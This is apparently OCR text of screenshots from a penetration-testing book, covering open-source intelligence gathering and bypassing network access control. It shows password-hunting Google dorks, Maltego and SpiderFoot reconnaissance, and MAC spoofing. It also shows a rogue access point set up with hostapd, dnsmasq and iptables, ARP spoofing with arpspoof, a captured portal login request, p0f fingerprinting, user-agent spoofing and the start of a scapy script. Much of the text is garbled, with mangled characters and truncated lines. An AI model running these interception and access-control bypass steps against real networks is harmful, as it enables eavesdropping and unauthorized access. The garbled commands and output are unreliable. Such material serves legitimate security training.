Chapter 1: Open Source Intelligence

Cast media to device

Read aloud Ctrl+Shift+U

Translate to English

Add page to Collections

Web capture Ctrl+Shift+S

View page source Ctrl+U

Inspect Ctrl+Shift+l

Thines

<meta name="viewport" content="width=device-width, initial-scale=1" />

<l--[if lte IE 8]><script src="assets/js/ie/htmlSshiv.js"></script><![endif]-->
<link rel="stylesheet" href="assets/css/main.css" />

<!--[1f 1te IE 8]><1link rel="stylesheet" href="assets/css/ie8.css" /><![endif]-->

Forbidden

You don't have permission to access this resource.

Apache/2.4.41 (Unix) Server at £3 ygM4Me 14! ort 80



Pricing

Contact

MIME-Version: 1.0

Date: Thu, 15 Apr 2021 14:19:03 -0400

Message-ID: <CALQOV3b5xtx+pZQabHS=g4eYVmhWUCIupE=6TGVhgx7LIA_eCw@mail.gmail.com>
Subject: info

From: A i’ we-asl w11 "Eme" i

e B Nl o

Content-Type: multipart/alternative; boundary="0000000008000ea78fbo5c006e539"

- -000BVOLVLLLPea78TboB5c0R6e539
Content-Type: text/plain; charset="UTF-8"

Hello, where can I receive tourist visa information? Thanks.



Diagnostic information for administrators:
Generating server: ME-VM-MBX©2. = m = .local

adnimistrator@ s =-"-
Remote Server returned '550 5.1.1 RESOLVER.ADR.RecipNotFound; not found'

Original message headers:

Received: from ME-VM-CAS©2. ~wm==- .local (10.255.134.149) by
ME-VM-MBX@2.-=#= ,local (10.255.134.142) with Microsoft SMTP Server (TLS)=
id

15.0.1497.2; Fri, 16 Apr 2021 ©5:22:43 +1100

Received: from ME-VM-MAILGWOl. =. =Hm — = (10.255.134.160) by
ME-VM-CAS©2. == .local (10.255.27.36) with Microsoft SMTP Server (TLS) i=
d

15.0.1497.2 via Frontend Transport; Fri, 16 Apr 2021 05:22:43 +1100

Received: from ME-VM-MAILGWOL. =mm._.z:.._ === .. (unknown [127.0.0.1])
by IMSVA (Postfix) with ESMTP id B5B5080178
for <adnimistrator@.---- >; Fri, 16 Apr 2021 ©5:16:49 +1100
SecuritYHeaderscanner Articles v Browser Extension

Get a full analysis of your site security headers, and understand how to easily improve it:

Client-Side Security Header Analysis Security Header Scanner

Protection CSP Protection @ None https:/m="_ = ==’ =—==—= = = m
CSP Reporting Missing
CSP Validity Invalid

XSS Z @  No CSP Protection

Monitoring Clickjacking & @ No CSP
Protection
No CSP
Formjacking @

g » Protection
No CSP

General & @ o :
Protection

Improve Grade

Summary

13 Fatal Errors 16 Warnings 5 Info 0 Valid
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187.248.14.211
187-248-14-211.internetma
X.maxcom.net.mx

Maxcom
Telecomunicaciones,
S.AB.deC.V.

'l Mexico, Mexico City

187.248.14.210
187-248-14-210.internetma
X.maxcom.net.mx

Maxcom
Telecomunicaciones

SAB.deC.V.
1"l Mexico, Mexico City

@® Google Advanced Search

e

any of these words:
none of these words:

numbers ranging from:

Then narrow your

results by...

language: any language
region: any region
last update: anytime

site or domain:

a0 View Report &€& Download Results [ View on Map

New Service: Keep track of what you have connected to the Internet. Check out Shodan Monitor

SSH-2.@-0OpenSSH_7.4pl Debian-1@+debSu7

Key type: ssh-rsa

Key: AAAAB3NzaClyc2EAAAADAQABAAABAQDYyRuU7/vsEn3cs7Nviz8IbfVUesHTjGEGq@3fP+206Zvky
VXPvm7g/GzOKFvevmE7an2ZDgfgdmKgqAdgX1q3V3I8ndw3aXeZqay TdmmZWdloaSyKYgi5S6Yy
/6r7VmINZAL8D6VFqdSpuj32TniBaizodXFj/yd1s7+rCymaSuVHraBWa+AreNp2ECkXxyMIgil
/aEo. ..

SSH-2.0-OpenSSH_7.4pl Debian-1@+debou7
Key type: ssh-rsa

Key: AAAAB3NZzaClyc2EAAAADAQABAAABAQCKu7FqxIHglAt2qCD+rGsPaodchNOPAdPStFZxIgiFSaKr
gVITJRtpSNFSCLaGI/FCudSVeudz3EL+dIc1+73Y8DBoMxs7nNgas12fuYqIgypDkYOUpKFhjOZ
SLeQ6xsVv/n+0ZDGWt 16wS36N1CltogGel51q21E5AteHn24SUDU2CZAGFMbITASIING +PABFUML
mek. ..

to

terms appearing: anywhere in the page
SafeSearch: Hide explicit results
file type: any format

usage rights: not filtered by license

Advanced Search



intext:password filetype:txt

aQ, All [ Books [E News [.] Images [] Videos ¢ More

Tools

Anytime~  Allresults =

v Any time ords » Common-Credentials ¢
Past hour -password-list-top-1000.txt at master - GitHub
Past 24 hours 678. qwerty. 123456789. 12345. 1234. 111111. 1234567. dragon.
football. monkey. letmein. 696969.

Past week

Past th

astmon ords » Common-Credentials

Past year

ist-top-100.txt at master - GitHub

56789. 12345. 1234. 111111. 1234567 . dragon.
. letmein. 696969.

Custom range...
123123. baseball. abc123. fo
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10:41AM O 20 @©®

@ RunProgram...

ifi Settings

‘o Usual Applications

Q 01 - Information Gathering

& 02 - Vulnerability Analysis
Create Launcher... @ 03 - Web Application Analysis

« DNS Analysis
+ IDS/IPS Identification

« Live Host Identification

File System

« Network & Port Scanners

« OSINT Analysis & maltego

+ Route Analysis @ spiderfoot

+ SMB Analysis @ spiderfoot-cli
« SMTP Analysis @ theharvester
« SNMP Analysis

+ SSL Analysis

Create URL Link... € 04 - Database Assessment
05 - Password Attacks

f Create Folder... t
Create Document  » @ 06 - Wireless Attacks

it 07 - Reverse Engineering
M Open Terminal Here 08 - Exploitation Tools
Find in this folder 09 - Sniffing & Spoofing
Openin New Window 2 10 - Post Exploitation
Arrange Desktop Icons 8 11 - Forensics & dmitry
K3 Desktop Settings... 12 - Reporting Tools ) ike-scan

L P L L P L L L P

0

" Applications 13 - Social Engineering Tools  legion
A 42 - Kali & OffSec Links b maltego
™ File Manager <% netdiscover

Mail Reader @® nmap

B Terminal Emulator recon-ng
© Web Browser @ spiderfoot
© About Xfce
© Log Out

Product Selection

Welcome to Maltego!

Please choose how you want to use Maltego: Compare Products Activate without Internet

Maltego One Maltego One is the new unified solution to access and activate Maltego plans for

- 3 Professionals and Enterprises.
Activate with key s

@ Purchase

Maltego XL Maltego eXtra Large is Paterva's premium solution to visualise large data sets and
allows for more than 10 000 entities in a single graph.

Activate with key
@ Purchase

Maltego Classic Maltego Classic is a commercial version of Maltego which allows users to visualize

% B up to 10 000 entities in a graph.
Activate with key - IRl

@ Purchase

Maltego CE (Free) In Maltego CE (Community Edition) the community transforms will be installed and
can be run to generate graphs, but the features are limited and the resulting graphs
Run may not be used for commercial purposes.

Maltego CaseFile (Free) In Maltego CaseFile graphs can only be created manually, no transforms may be run.
More types of entities will be installed and the resulting graphs may be used for
commercial purposes.

OISO ||




Maltego Transform Hub

Maltego Community Edition - Not licensed
FILTER [RESET]

Data Categories

Geospatial

TRANSFORM HUB PARTNERS

Standard Transforms...
by Maltego Technologies

Free Standard OSINT Transforms

[ New |
35C ATT&CK - MISP

by MISP Project

ISP

Query data from MISP. Pivot on MITRE
ATT&CK Intrusion Sets, Techniques, ...

ey %, Cisco Threat Grid

* by Cisco Threat Grid

TRANSFORM HUB PARTNERS

CaseFile Entities
w by Paterva

Useful entities for modeling investigations.

= . .
/(“ GreyNoise Community...
@ by GreyNoise Intelligence

GreyNoise helps identify mass-internet
background noise and silence itfrom an ...

#% peeringDB
by Maltego Technologies

Delve into global interconnection data using
PeeringDB.

62/62 shown

ollections  Transforms.

Privacy Mode

Q]

Find in
Files

[adl Normal v

Find

Q Display:

Pricing

Threat Intelligence

y, CaseFile Enti
@ by Paterva

Useful entities for modeling
investigations.

' by Paterva

For visualizing the Bitcoin blockchain.

~ Clearbit
by Christian Heinrich

14/62 shown

3 ATT&CK - MISP

2] by MISP Project
3

Query data from MISP. Pivot on MITRE
ATT&CK Intrusion Sets, Techniques, ...

News Transforms (CE)
by Maltego

Browse the news in Maltego!

Social Links CE
by Social Links

Free transforms (No API Key required) to
retrieve data from ZoomEye, Shodan, ...

Maltego Community Edition 4.2.14

Machines

| [NOT INSTALLED] | [INSTALLED]

’ Blockchain.info (Bitco...

Collaboration  Import | Export
|
—

e

Entity
Selection

[REFRESH]

Sort by:

Useful for Teams

[ AL Image Data Vulnerabilities [ A [ AL
Blockchain Infrastructure Web Content Bring your own key Anti-terrorism
Breaches and Leaks Malware Data bundle CERT
Company Data NLP Free Compliance
Cybersecurity Person of Interest Free trial Cryptocurrency Fraud
Deep and Dark Web Phishing Paid connector Cyber and Digital Forensics
Financial Data Social Media Cybercrime

Financial Crime

________ STIX 2 Utilities
VIR by ANSSI & Maltego

Entities and utility Transforms for working
with STIX 2.1

I3

CipherTrace (Enterpri...
T by Maltego Technologies

Cryptocurrency forensics and anti-money
laundering (AML) intelligence. This is the .

Data Bundle

Cofense Intelligence
S by Cofense

* 1, Blockchain.info (Bitcoin)

! by Paterva

For visualizing the Bitcoin blockchain.

BNy, OCCRP Aleph
S

by Maltego Technologies

Query company registries, document
dumps, procurement data, sanctions ...

ThreatCrowd
by ThreatCrowd

Query ThreatCrowd for Malware, Passive
DNS and historical Whois data.

Windows

[UPDATE]

62 Hub items total | 2 Hub items installed (267 Transforms)

| [NEWEST] | [NAME] v

Fraud Investigations

Incident Response

Investigative Journalists

KYC and Corporate Investigations
Procurement

Red Team / Pentesters

soc

Trust and Safety

AliasDB
V by ShadowDragon

Database of Defacements and the Aliases
that took attribution

CipherTrace

~" by Maltego Technologies

Cryptocurrency forensics and anti money
laundering (AML) intelligence.

\’) Crowdstrike Intel
N

by CrowdsStrike

Discogs Music Database
. by Maltego Technologies
Visualize your favorite Artists using
Discogs!

! OpenCTI
by ANSSI & Maltego

Query and explore threat intelligence data
from OpenCTI

ThreatMiner
' by ThreatMiner

Query and pivot on data from
ThreatMiner.org.
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Entity Palette

Search:
= Events

Conversation (Email)

Incident
An ntor

= Groups

Company
A

Organization
up which di

= Infrastructure

AS
An inte Auti

Banner
Banner

Netblock CIDR
CIDR representation of a Netbloc
nt a Common Vulnerabiliti

DNS Name
Domain ems name

To Domains [DNS]

To Domains [within Properties]

To E-Mail Addresses [within Properties]

To Email address [From whois info]

To Email addresses [PGP]

To Email addresses [using Search Engine]
To Emails @domain [using Search Engine]
To Entities from WHOIS [IBM Watson]

To Files (Interesting) [using Search Engine]
To Files (Office) [using Search Enginel

To GPS [within Properties]

BX22EXB=0C




New Graph (1) X

\
Layout
p——
= i
Detail View
%
View Nwx 1
— - Outgoing
e
‘?
bs.
Ny
v
Moy
»
° Hub Transfor...
< =
: ’ v oAl v [] Properties [ | Notes [ Displayinfc X [T
Do
Y Running transform To DNS Name - MX (mail server) on 1 entities (from enti o
Transform To DNS Name - MX (mail server) returned with 1 entities (from e == 3
m Transform To DNS Name - MX (mail server) done (from entity " —")
)
0
Boo

= o Machines
Company Stalker

vill try tc a domain then s

Find Wikipedia Edits
This machine takes a domain and looks for po

Footprint L1

print of a
Footprint L2
This performs a level 2 (mild) footprint

(inte 0 rint on a domain. it ta
Footprint XXL
Tk ne is built to work on really ; s tha

Keep relevant NS

Please selectthe NS records you wish to keep. We will
see what's shared on the selected ones.

o Q

NS records
E o E o omE NS Record
ﬁ o E o omE NS Record

|:| Remove unselected entities from graph Mext>
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L—( kali® kali)-[~/Desktop]
$ spiderfoot -1 192.168.108.253:5009
Starting web server at http://192.168.108.253:5009

KEEXEKERREREKERERRREREKRERERRERERERERERRERERERERRREREKRERERRRERERERRRRERERRRRRRERRRRRRERRRRERXR)

Use SpiderFoot by starting your web browser of choice and
browse to http://192.168.108.253:5009

KEERERERERERERERERRRERERERERRRERERERERRERERERERERRERERERERRRERERERRRRERERERRRRERERERRRRERRERRRERERR

[12/May/2021:13:05:55] ENGINE Listening for SIGTERM.
[12/May/2021:13:05:55] ENGINE Listening for SIGHUP.
[12/May/2021:13:05:55] ENGINE Listening for SIGUSRL1.
[12/May/2021:13:05:55] ENGINE Bus STARTING

[12/May/2021:13:05:55] ENGINE Started monitor thread '_TimeoutMonitor'.
[12/May/2021:13:05:55] ENGINE Serving on http://192.168.108.253:5009
[12/May/2021:13:05:55] ENGINE Bus STARTED



% spiderfoot & New Scan = Scans  /F Settings © About

New Scan

Scan Name

Descriptive name for this scan.

Seed Target

Starting point for the scan.
By Use Case By Required Data By Module

@ Al Get anything and everything about the target.

All SpiderFoot modules will be enabled (slow) but every possible piece of information about the target will be obtained and analysed.

(O Footprint  Understand what information this target exposes to the Internet.

Gain an understanding about the target's network perimeter, associated identities and other information that is obtained through a lot
of web crawling and search engine use.

O Investigate Best for when you suspect the target to be malicious but need more information.

Some basic footprinting will be performed in addition to querying of blacklists and other sources that may have information about your
target's maliciousness.

O Passive When you don't want the target to even suspect they are being investigated.

As much information will be gathered without touching the target or their affiliates, therefore only modules that do not touch the target

will be enabled.

Note: Scan will be started immediately.

% spiderfoot & NewScan = BScans  / Setlings @ About

=2 ==

®Status  EBrowse % Graph @& ScanSettings B Log

Total IR Unique JENI Status RENNINEN Errors [KER

10%

Percentage of Unique Elements

o 2 8 &% 8 & &

* Freresaew
\
\
.
|

‘r—

© o @ & @ & o & N & & 2o
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Graph % Scan Settings W Log
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@ Status i Browse




Chapter 2: Bypassing Network Access Control

root@kali: fhome/kali

File Actions Edit View Help

(kali® kali) - [~]
Ls ' sudo -s
(root- kali)-[/home/kali]
Q ifconfig etho®
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.249.128 netmask 255.255.255.0 broadcast 192.168.249.255
inet6 fe80::20c:29ff:fecl:fe96 prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:cl:fe:96 txqueuelen 1000 (Ethernet)
RX packets 45193 bytes 2830292 (2.6 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 689 bytes 128970 (125.9 KiB)
TX errors © dropped 0 overruns O carrier 0 collisions 0

(root- kali)-[/home/kali]
[—_# ifconfig ethO down

(root. kali)-[/home/kali]
[:; ifconfig ethO hw ether ac:a0:16:23:d8:1a

(root- kali)-[/home/kali]
[:; ifconfig eth0 up

(root-s kali)-[/home/kali]
[:; ifconfig ethO
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.249.129 netmask 255.255.255.0 broadcast 192.168.249.255
inet6 fe80::aeal:16ff:fe23:d8la prefixlen 64 scopeid 0x20<link>
ether ac:a0:16:23:d8:1a txqueuelen 1000 (Ethernet)
RX packets 45204 bytes 2831802 (2.7 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 703 bytes 130876 (127.8 KiB)




= root@kali: /home/kali

File Actions Edit View Help

GNU nano 5.4 /etc/dnsmasq.conf

interface=wlan®
dhcp-range=10.11.12.2,
dhcp-option=3,10.11.12.
dhcp-option=6,10.11.12.
server=8.8.8.8
log-queries

.11.12.20,4h

log-dhcpll

# Configuration file for dnsmasq.

#

# Format 1is one option per line, legal options are the same
# as the long options legal on the command line. See

# "/usr/shin/dnsmasq --help" or "man 8 dnsmasq" for details.

# Listen on this specific port instead of the standard DNS port

# (53). Setting this to zero completely disables DNS function,

# leaving only DHCP and/or TFTP.

#port=5353

# The following two options make you a better netizen, since they
# tell dnsmasq to filter out queries which the public DNS cannot
# answer, and which load the servers (especially the root servers)
# unnecessarily. If you have a dial-on-demand link they also stop
# these requests from bringing up the link unnecessarily.

# Never forward plain names (without a dot or domain part)
#domain-needed
[ Wrote 689 lines ]
a8 Help Ay Write Out here Is Cut Execute Al Location
Exit B Read File Replace Al Paste B Justify M Go To Line




root@kali: /etc/hostapd

File Actions Edit View Help

GNU nano 5.4 /etc/hostapd/hostapd. conf

interface=wlan0
driver=n180211
ssid=NotABadGuy
hw_mode=g

channel=2

macaddr acl=0
max_num_sta=1
ignore_broadcast_ssid=0
auth_algs=1

wpa=2

wpa_key mgmt=WPA-PSK
rsn_pairwise=CCMP
;pa_passphrase=NotABadGuyPSK

[ Wrote 15 lines ]
B¢ Help g Write Out Where Is Cut Execute e Location
B Exit g Read File @i\ Replace Al Paste B Justify Ml Go To Line

£ root@kali: fetc/hostapd

File Actions Edit View Help

(root- kali)-[/etc/hostapd]
[:; ifconfig wlan@ 10.11.12.1 up

(root- kali)-[/etc/hostapd]
[:; dnsmasq -C /etc/dnsmasq.conf

(root- kali)-[/etc/hostapd]
[:; sysctl -w net.ipv4.ip forward=1
net.ipv4.ip forward = 1

(root « kall) [/etc/hostapd]
[:; iptables -P FORWARD ACCEPT

(root. kali)-[/etc/hostapd]
[:; iptables --table nat -A POSTROUTING -o eth® -j MASQUERADE

(root- kali)-[/etc/hostapd]
[:; hostapd /etc/hostapd/hostapd.conf -B
Configuration file: /etc/hostapd/hostapd.conf
Using interface wlan0@ with hwaddr 4a:38:9b:12:d2:c1 and ssid "NotABadGuy"
wlan0: interface state UNINITIALIZED->ENABLED
wlan0: AP-ENABLED

[:;(rootn-kali)-[/etc/hostapd]
|




YokNet Wireless Portal - Mozilla Firefox

YokNet Wireless Portal x |+

- C @ © & 192.168.80.1:8002 ne et p%3A F n o ¢

@ Kali Linux ¥ Kali Training ¥ Kali Tools ¥ Kali Forums KaliDocs & NetHunter K Offensive Security K MSFU = Exploit-DB % GHDB

Welcome to the YokNet Wireless Network
2016 Recipient of the Callisto Meow Of Approval

Please enter your username and password to continue.
Username:
Password:

Grant Purr-mission

s logged and audited. Violators will be scratched by my

&

[M]Apply a display filter ... <Ctrl-/> = -]+

No. _Time _ Source  Destination Protocol Lengt Info ———— i S |
1 0.000000000 fe80::89c9:3e:.. fr02::1:ffo1l:1 ICHMPV6 86 Neighbor Solicitation for fe80::1:1 from e8:7f:6b:51:0d:cd

I 2 0,0959938902°  0.0.9.0 255.255.265.255 DHCP 342 DHCP Discover - Transaction ID 0xcOdbe66f -

" Frame 2: 342 bytes on wire (2736 bits), 342 bytes captured (2736 Dits) on interface wland, id © |

» Ethernet II, Src: SamsungE_51:0d:cd (e8:7f:6b:51:0d:cd), Dst: Broadcast (ff:ff:ff:ff:ff:.ff)
» Internet Protocol Version 4, Src: 0.0.0.0, Dst: 255.255.255.255

» User Datagram Protocol, Src Port: 68, Dst Port: 67

» Dynamic Host Configuration Protocol (Discover)

0000 GEEDEENRERG

0010 80 c3 00 00 b8 e2 80 00

0020 00 44 00 43 fc 14 61 01 06 00 c@ db)
0030 00 60 00 00 00 00 00 60 00 00 B0 09|
0040 00 00 00 00 6b 51 0d cd 00 00 6O 08|

0050 00 00 00 00 00 60 00 00 00 08 00 60|

© 7 Frame (frame), 342 bytes Packets: 250 - Displayed: 250 (100.0%) = Profile: Default




6 Capturing from wlan0 - 0O X
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

waA® ™ X6 ] &= = &  § i
[Q IApp y a display filter ... <Ctrl-/> [= K]
No. Time Source Destination Protocol Lengt Info 2
19 1.077825955 0.0.0.0 255.255.255.255 370 DHCP Request - Transaction ID ©xc@dbO66f
DHCP: Request (3) ~
~ Option: (61) Client identifier
Length: 7

Hardware type: Ethernet (0x01)

Client MAC address: SamsungE_51:0d:cd (e8:7f:6b:51:0d:cd)
~ Option: (50) Requested IP Address (192.168.80.71)

Length: 4
[ Requested IP Address: 192.168.89.71 _ _ _ |
~ Option: (54) DHCP Server Identifier (192.168.80.1)

Length: 4

DHCP Server Identifier: 192.168.80.1
~ Option: (12) Host Name

Length: 15

Host Name: DESKTOP-RM7U69J]
~ Option: (81) Client Fully Qualified Domain Name

Length: 18

» Flags: 0x00

110 00 00 00 00 00 00 63 82 53 63 35 01 03 3d 07 01 - -¢c
0120 e8 7f 6b 51 0d cd 32 04 36 04 cO a8 - kQ- -2
0126 50 01 Oc OF 44 45 53 4b 54 4f 50 2d 52 4d 37 55 P.-.DESK TOP-
9146 36 39 4a 51 12 00 00 00 44 45 53 4b 54 4F 50 2d  69JQ- - - -
150 52 4d 37 55 36 39 4a 3c 08 4d 53 46 54 20 35 2¢  RMIU69J< -MSFT

160 30 37 Ge 01 03 66 Of 1f 21 2b 2c 2e 2f 77 79 f9 @7----:- 14,./
0170 fc ff - %
O 7 option 50: Requested IP Address (dhcp.option.requested_ip_address), 4 bytes Packets: 314 - Displayed: 314 (100.0%)  Profile: Default

1 root@kali: /home/kali

File Actions Edit View Help

(root.s kali)-[/home/kali]

[:; arpspoof -1 wlan® -t 192.168.80.1 -r 192.168.80.71

0:c0:ca:8d:8a:e8 0:€0:67:17:¢2:88 0806 42: arp reply 192.168.80.71 is-at 0:c0:ca:8d:8a:e8
0:c0:ca:8d:8a:e8 e8:7f:6b:51:d:cd 0806 42: arp reply 192.168.80.1 is-at 0:c0:ca:8d:8a:e8

0:c0:ca:8d:8a:e8 0:e0:67:17:¢2:88 0806 42: arp reply 192.168.80.71 is-at 0:c0:ca:8d:8a:e8
0:c0:ca:8d:8a:e8 e8:7f:6b:51:d:cd 0806 42: arp reply 192.168.80.1 is-at 0:c0:ca:8d:8a:e8

0:c0:ca:8d:8a:e8 0:0:67:17:c2:88 0806 42: arp reply 192.168.80.71 is-at 0:c0:ca:8d:8a:e8
ﬁ:c@:ca:8d:8a:e8 e8:7f:6b:51:d:cd 0806 42: arp reply 192.168.80.1 is-at 0:c0:ca:8d:8a:e8




Wireshark - Follow HTTP Stream (tcp.stream eq 8) - wlan0

POST /index.php?zone=yoknet HTTP/1.1

Host: 192.168.80.1:8002

| Connection: Keep-alive

| Content-Length: 131

Cache-Control: max-age=0

| Upgrade-Insecure-Requests: 1

|Origin: http://192.168.80.1:8002

| Content-Type: application/x-wwv-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/91.0.4472.77 Safari/537.36 Edg/91.0.864.41

|Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/
|apng, */*;q=0.8, application/signed-exchange;v=b3;q=0.9

Referer: http://7192.168.80.1:8002/index.php?zone=yoknet

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9

| E R e R i e s g aar edirur 1=h t tp%3A%2F%2Fwww .msTtconnect test . com%2
| Fredirect&zone=yoknet&accept=Grant+Purr-missionHTTP/1.1 200 OK
'Server: nginx |~

1 client pkt, 1 server pkt, 1 turn.

| Entire conversation (2,898 bytes) ~ | Show data as | ASCII v |
Find: | | Find Next |
| Filter Out This Stream || Print Saveas.. || Back || XcClose || Z{Help |
@ Ettercap o[ 2
0831 :
Setup
Sniffing at startup o
Primary Interface  ethO v
Bridged sniffing @

Bridged Interface

erca




root@kali: fhome/kali

File Actions Edit View Help
TX errors © dropped O overruns O carrier 0 collisions 0

[:;(root - kali)-[/home/kali]

[+] Closed 1 file descriptor.

[+] Loaded 322 signatures from '/etc/p0f/pOf.fp'.

[+] Intercepting traffic on default interface 'wlan0'.
[+] Default packet filtering configured [+VLAN].

[+] Log file 'poflog' opened for writing.

[+] Entered main event loop.

.-[ 192.168.108.199/40128 -> 142.250.191.197/443 (syn) ]-

.-[ 192.168.108.199/40128 -> 142.250.191.197/443 (mtu) ]-

.-[ 192.168.108.199/40128 -> 142.250.191.197/443 (syn+ack) 1-

pOf -o goflog
- pof 3.09b by Michal Zalewski <lcamtuf@coredump.cx> ---

client = 192.168.108.199/40128

0s = Linux 2.2.x-3.X

dist =0

params = generic

raw_sig = 4:64+0:0:1460:65535,10:mss,sok,ts,nop,ws:df,id+:0

client = 192.168.108.199/40128
link = Ethernet or modem
raw_mtu = 1500




1 root@kali: /home/kali

File Actions Edit View

[2021/06/14 mod=syn|cli=192.168.108.199/40128|srv=142.250.191.197/443|subjxg
[2021/06/14 11:08: mod=mtu|cli=192.168.108.199/40128|srv=142.250.191.197/443|subjxg
[2021/06/14 11:08:26] mod=syn+ack|cli=192.168.108.199/40128|srv=142.250.191.197/443 |k
[2021/06/14 11:08:26] mod=mtu|cli=192.168.108.199/40128|s5rv=142.250.191.197/443|subji
[2021/06/14 11:08:26] mod=uptime|cli=192.168.108.199/40128|srv=142.250.191.197/443|skg
[2021/06/14 11:08:28] mod=syn|cl1=192.168.108.199/36128|5rv=216.58.192.133/443|sub]j=x
[2021/06/14 11:08:28] mod=host change|cli=192.168.108.199/36128|srv=216.58.192.133/4
[2021/06/14 11:08:28] mod=mtu|cli=192.168.108.199/36128|5rv=216.58.192.133/443|subj=x
[2021/06/14 11:08:28] mod=syn+ack|cli=192.168.108.199/36128|srv=216.58.192.133/443| sk
[2021/06/14 11:08: mod=mtu|c1i=192.168.108.199/36128|srv=216.58.192.133/443|subj=;g
[2021/06/14 11:08: mod=uptime|cli=192.168.108.199/36128|srv=216.58.192.133/443|sug
<B{| subj=cli p :
[2021/06/14 11:08:58] mod=mtu|cli=192.168.108.199/38414|srv=142.250.191.202/443|subjg
[2021/06/14 11:08:58] mod=syn+ack|cli=192.168.108.199/38414|srv=142.250.191.202/443 |
[2021/06/14 11:08:58] mod=mtu|cli=192.168.108.199/38414|srv=142.250.191.202/443|subjg
[2021/06/14 11:08:58] mod=uptime|cli=192.168.108.199/38414|srv=142.250.191.202/443|sg
[2021/06/14 11:08:59] mod=syn|cl1=192.168.108.199/36132|srv=216.58.192.133/443|sub]j=x
[2021/06/14 11:08:59] mod=host change|cli=192.168.108.199/36132|srv=216.58.192.133/4
[2021/06/14 11:08:59] mod=mtu|cli=192.168.108.199/36132|srv=216.58.192.133/443|subj=x
[2021/06/14 11:08:59] mod=syn+ack|cl1i=192.168.108.199/36132|srv=216.58.192.133/443sg
[2021/06/14 11:08:59] mod=mtu|cli=192.168.108.199/36132|srv=216.58.192.133/443|sub]j=x
[2021/06/14 11:08:59] mod=uptime|cli=192.168.108.199/36132|srv=216.58.192.133/443|sug
[2021/06/14 11:09:01] mod=syn|cl1=192.168.108.199/49490|srv=142.250.190.65/443|subj=x
[2021/06/14 11:09:01] mod=mtu|cli=192.168.108.199/49490|srv=142.250.190.65/443|subj=x
[2021/06/14 11:09:01] mod=syn+ack]cli=192.168.108.199/49490|srv=142.250.190.65/443 | sg
[2021/06/14 11:09:01] mod=mtu|cli=192.168.108.199/49490|srv=142.250.190.65/443|subj=x
[2021/06/14 11:09:01] mod=uptime|cli=192.168.108.199/49490|srv=142.250.190.65/443|sug
[2021/06/14 11:09:15] mod=syn|cli=192.168.108.199/42906]srv=142.250.190.74/443|subj=x
[2021/06/14 11:09:15] mod=host change|c1i=192.168.108.199/42906|srv=142.250.190.74/4g

¢ Help Write Out @i Where Is @y Cut @l Execute &8 Location

py Exit @i Read File @l Replace &l Paste B Justify Ml Go To Line

() Advanced Preferences - Mozilla Firefox = & 83

Advanced Preferences X ‘ +

< > C @ © Firefox  about:config w n O @ =

X Kali Linux ¥ Kali Training ¥ Kali Tools ¥ Kali Forums [ Kali Docs & NetHunter A Offensive Security K MSFU »

Q_ useragent|
devtools.inspector.showUserAgentStyles false =
devtools.responsive.reloadConditions.userAgent false =
devtools.responsive.showUserAgentinput false =
devtools.responsive.userAgent rd
dom.push.userAgentID a8e4ef9506e349ebb849675b48f95444 £
general.useragent.compatMode.firefox false = |
useragent ®@Boolean O Number OString 7-;




*» Advanced Preferences - Mozilla Firefox

- o x
Advanced Preferences X ’ +
<> C @ ©) Firefox about:config w n 0 & =
& Kali Linux ¥ Kali Training ¥ Kali Tools ¥ Kali Forums Kali Docs & NetHunter J Offensive Security A MSFU »
Q_ general.useragent.override
general.useragent.override OBoolean ONumber @ String +
(3 ) Advanced Preferences - Mozilla Firefox - 0 X
Advanced Preferences x |+
<)> C ® € Firefox about:config w in @ & =
& Kali Linux XY Kali Training XY Kali Tools ¥ Kali Forums KaliDocs & NetHunter A Offensive Security A MSFU »
‘ Q_ general.useragent.override
g Mozilla/5.0 (iPhone; CPU iPhone 05 12_2 like Mac OSX)A ‘
general.useragent.override S W

ppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148




Website Goodies: What is my user agent? - Mozilla Firefox

Advanced Preferences X | /& Website Goodies: What X | =+

&« - C © @& https://www.websitegoodies.com/tools/use B =+ & ¥ i @ &

& Kali Linux ¥ Kali Training ¥ Kali Tools ¥ Kali Forums Kali Docs & NetHunter A Offensive Security

Q Website Goodies

@ Improvely G W3Counter @ Date Range Picker

O What is my user agent?

Your user agent:
Mozilla/5.@ (iPhone; CPU iPhone 0S 12 2 like Mac 0S X) AppleWebKit/6€5.1.
< I >

What does your user agent tell a website?

Browser: Mobile Safari 12
Operating System: [0S 12

Device: Apple iPhone iPhone




root@kali: fhome/kali

File Actions Edit View Help

(root. kali)-[/home/kali]
[:; iptables -F && iptables -A OUTPUT -p tcp --destination-port 80 --tcp-flags RST RS
-5 192.168.108.253 -d 192.168.108.239 -j DROP

[:;(root kall) [/home/kali]

iptables -
Chain INPUT (pollcy ACCEPT)
target prot opt source destination
Chain FORWARD (policy ACCEPT)
target prot opt source destination
Chain OUTPUT (policy ACCEPT)
target prot opt source destination
DROP tep -- 192.168.108.253 192.168.108.239 tcp dpt:http flags:RST/
RST

[:;(iootn-kali)-[/home/kali]

root@kali: /home/kali
File Actions Edit View Help

GNU nano 5.3 webtest
[2021/06/14 12:00: mod=syn|cli=192.168.108.253/60512|srv=192.168.108.239/80|subj=cli |GV ErRr CEIpqlist=2
[2021/06/14 12:00: mod=mtu|cli=192.168.108.253/60512|srv=192.168.108.239/80|subj=cli|link=Ethernet or modem| rig
[2021/06/14 12:00: mod=syn|cli=192.168.108.253/43598|srv=192.168.108.239/443|subj=cli|os=Linux 2.2.x-3.x|distg
[2021/06/14 12:00: mod=mtu|cli=192.168.108.253/43598|srv=192.168.108.239/443|subj=cli|link=Ethernet or modem|g

Y Paste a8 Justify gl Go To Line [ Redo

Exit @ Read File a Replace

Help B8 write Out Where Is Cut Bl Execute M@ Location HY undo
X|




root@kali: /home/kali/Downloads

File Actions Edit View Help

#1/usr/bin/python3

scapy.all *

random

CPIPADDRESS = 58 3
SOURCEP = random.randint(1024,65535)
ip = IP(dst=CPIPADDRESS, flags="DF", ttl=64)
